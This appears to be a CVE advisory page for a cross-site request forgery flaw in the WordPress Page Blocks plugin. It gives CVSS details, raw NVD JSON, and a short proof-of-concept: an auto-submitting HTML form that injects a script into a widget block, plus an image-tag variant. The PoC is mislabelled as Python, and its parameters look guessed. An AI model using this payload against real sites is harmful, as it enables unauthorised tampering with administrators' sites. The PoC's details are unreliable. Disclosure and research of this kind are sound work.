Security Vulnerability Report
中文
CVE-2025-9626 CVSS 4.3 MEDIUM

CVE-2025-9626

Published: 2025-10-11 10:15:45
Last Modified: 2026-04-15 00:35:42

Description

The Page Blocks plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.0. This is due to missing or incorrect nonce validation on the admin_process_widget_page_change function. This makes it possible for unauthenticated attackers to modify widget page block configurations via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Page Blocks插件 < 1.1.1
所有1.1.0及之前的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-9626 PoC: CSRF exploit for Page Blocks plugin --> <!-- This PoC demonstrates how to forge a request to modify widget page block configuration --> <html> <head><title>Loading...</title></head> <body> <!-- Auto-submit form to exploit missing nonce validation in admin_process_widget_page_change --> <form id="csrf-form" action="http://target-wordpress-site.com/wp-admin/admin.php" method="POST"> <!-- Target action: widget page change processing --> <input type="hidden" name="action" value="process_widget_page_change" /> <input type="hidden" name="widget_id" value="1" /> <input type="hidden" name="page_block_content" value="<script>alert('XSS-via-CSRF')</script>" /> <input type="hidden" name="page_block_title" value="Hacked Block" /> <input type="hidden" name="redirect_to" value="/wp-admin/widgets.php" /> </form> <script> // Auto-submit when page loads document.getElementById('csrf-form').submit(); </script> </body> </html> <!-- Alternative: Image-based CSRF (GET request) --> <!-- <img src="http://target-site.com/wp-admin/admin.php?action=process_widget_page_change&widget_id=1&page_block_content=malicious" style="display:none" /> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9626", "sourceIdentifier": "[email protected]", "published": "2025-10-11T10:15:44.810", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Page Blocks plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.0. This is due to missing or incorrect nonce validation on the admin_process_widget_page_change function. This makes it possible for unauthenticated attackers to modify widget page block configurations via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/page-blocks/trunk/classes/page_blocks.php#L705", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/page-blocks/trunk/classes/page_blocks.php#L710", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/page-blocks/trunk/page_blocks_plugin.php#L96", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/794d1149-5c6a-4e92-bbc9-00d718799df9?source=cve", "source": "[email protected]"}]}}